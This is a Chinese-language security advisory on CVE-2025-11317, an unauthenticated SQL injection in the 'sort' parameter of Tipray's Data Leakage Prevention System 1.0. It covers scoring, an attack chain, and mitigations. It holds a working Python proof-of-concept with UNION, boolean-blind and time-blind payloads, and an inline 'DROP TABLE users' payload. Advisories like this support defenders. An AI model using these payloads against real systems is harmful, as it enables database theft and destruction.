CVE-2025-11317：天锐数据泄露防护系统SQL注入漏洞

漏洞信息

漏洞编号

CVE-2025-11317

漏洞类型

SQL注入

CVSS评分

7.3 高危

攻击向量

网络 (AV:N)

认证要求

无需认证 (PR:N)

用户交互

无需交互 (UI:N)

影响产品

Tipray 厦门天锐科技股份有限公司 Data Leakage Prevention System 天锐数据泄露防护系统

漏洞概述

CVE-2025-11317是天锐科技股份有限公司（Tipray）数据泄露防护系统（Data Leakage Prevention System）1.0版本中存在的一个高危SQL注入漏洞。该漏洞位于系统的findRolePage功能模块，具体涉及findSingConfigPage.do文件中的参数处理逻辑。攻击者可以通过操控sort参数注入恶意的SQL语句，从而实现对后台数据库的未授权访问和数据操控。

该漏洞的CVSS 3.1评分为7.3分，属于高危级别。其攻击向量为网络（AV:N），攻击复杂度低（AC:L），无需任何特权（PR:N），也无需用户交互（UI:N）。漏洞的存在对系统的机密性、完整性和可用性均产生低级别影响（C:L/I:L/A:L），表明攻击者可以读取敏感数据、修改数据库内容以及在一定程度上影响系统正常运行。

值得注意的是，该漏洞的利用代码已经公开披露，可能被恶意攻击者利用。安全研究者在发现该漏洞后曾尝试联系天锐科技厂商，但厂商未作出任何回应，这进一步增加了该漏洞被利用的风险。该漏洞的披露时间为2025年10月6日，属于近期披露的安全问题，需要相关用户和管理员高度关注并采取相应的防护措施。

技术细节

该SQL注入漏洞的核心问题在于findSingConfigPage.do文件中的findRolePage函数未对用户输入的sort参数进行充分的过滤和参数化处理。当系统接收到包含sort参数的HTTP请求时，直接将该参数拼接到SQL查询语句中，导致攻击者可以通过构造特殊的sort参数值来改变SQL查询的语义。

从技术层面分析，sort参数通常用于指定查询结果的排序字段和排序方式（如ORDER BY子句），但在缺乏输入验证的情况下，攻击者可以注入额外的SQL语句片段。例如，攻击者可以构造类似以下形式的Payload：`sort=id ASC; DROP TABLE users--` 或者利用UNION SELECT进行数据提取。

由于该漏洞的攻击复杂度低（AC:L），无需认证（PR:N），且可通过网络远程利用（AV:N），攻击者只需发送精心构造的HTTP请求即可触发漏洞。漏洞利用成功后，攻击者可以执行以下操作：1）通过UNION查询读取数据库中的敏感信息；2）利用布尔盲注或时间盲注技术逐步提取数据；3）通过堆叠查询执行INSERT、UPDATE、DELETE等数据修改操作；4）在某些配置下甚至可能通过数据库特性实现远程代码执行。

参考链接中提到的公开PoC（https://github.com/FightingLzn9/vul）提供了具体的利用方式，为安全研究人员和防御方提供了重要的参考信息。

攻击链分析

STEP 1

步骤1：信息收集

攻击者通过网络扫描或利用Shodan等搜索引擎识别部署了天锐数据泄露防护系统1.0版本的目标系统，获取目标系统的IP地址、端口和URL路径信息。

STEP 2

步骤2：漏洞探测

攻击者向目标系统的findSingConfigPage.do端点发送包含特殊字符的sort参数请求，通过观察响应内容的差异、错误信息或响应时间来判断是否存在SQL注入漏洞。

STEP 3

步骤3：注入Payload构造

根据探测结果，攻击者构造相应的SQL注入Payload，可能采用UNION联合查询、布尔盲注、时间盲注或报错注入等方式绕过现有防护机制。

STEP 4

步骤4：数据提取

利用构造好的Payload，攻击者通过反复请求逐步提取数据库中的敏感信息，包括用户凭证、系统配置、业务数据等。

STEP 5

步骤5：权限提升与持久化

在获取足够信息后，攻击者可能尝试通过数据库特性（如MySQL的UDF、xp_cmdshell等）执行系统命令，进一步提升权限并在系统中建立持久化访问。

STEP 6

步骤6：数据破坏或窃取

作为数据泄露防护系统被攻破的后果，攻击者可以窃取或破坏企业敏感数据，造成严重的业务影响和合规风险。

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

# CVE-2025-11317 - Tipray DLP System SQL Injection PoC
# Vulnerability: SQL Injection via 'sort' parameter in findSingConfigPage.do
# Affected: Tipray Data Leakage Prevention System 1.0

import requests

TARGET_URL = "http://target-host:port"
VULNERABLE_ENDPOINT = "/findSingConfigPage.do"

def exploit_sql_injection(target_url, sort_payload):
    """
    Exploit SQL injection via sort parameter in findRolePage function
    """
    url = f"{target_url}{VULNERABLE_ENDPOINT}"

    # Inject malicious SQL through the sort parameter
    params = {
        "sort": sort_payload,
        "page": "1",
        "rows": "10"
    }

    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
        "Content-Type": "application/x-www-form-urlencoded"
    }

    try:
        response = requests.get(url, params=params, headers=headers, timeout=10)
        print(f"[+] Status Code: {response.status_code}")
        print(f"[+] Response Length: {len(response.text)}")
        print(f"[+] Response Body: {response.text[:500]}")
        return response.text
    except requests.exceptions.RequestException as e:
        print(f"[-] Error: {e}")
        return None

# Example payloads
if __name__ == "__main__":
    # Basic SQL injection test - error-based
    payload1 = "id AND 1=1--"
    print("[*] Testing basic SQL injection...")
    exploit_sql_injection(TARGET_URL, payload1)

    # UNION-based injection to extract data
    payload2 = "id UNION SELECT 1,2,3,4,5,user(),database()--"
    print("\n[*] Testing UNION-based injection...")
    exploit_sql_injection(TARGET_URL, payload2)

    # Boolean-based blind injection
    payload3 = "id AND (SELECT COUNT(*) FROM information_schema.tables)>0--"
    print("\n[*] Testing boolean-based blind injection...")
    exploit_sql_injection(TARGET_URL, payload3)

    # Time-based blind injection
    payload4 = "id; IF(1=1, SLEEP(5), 0)--"
    print("\n[*] Testing time-based blind injection...")
    exploit_sql_injection(TARGET_URL, payload4)

影响范围

Tipray 天锐数据泄露防护系统 1.0

防御指南

临时缓解措施

在官方补丁发布之前，建议采取以下临时缓解措施：1）通过网络访问控制列表（ACL）限制findSingConfigPage.do端点的访问范围，仅允许可信IP访问；2）在Web应用防火墙（WAF）中配置针对sort参数的SQL注入防护规则，拦截包含UNION、SELECT、OR、AND等关键字的可疑请求；3）对受影响系统进行网络隔离，避免将数据泄露防护系统直接暴露在公网环境中；4）监控数据库日志，识别异常的SQL查询行为；5）定期备份重要数据，以便在遭受攻击时能够快速恢复。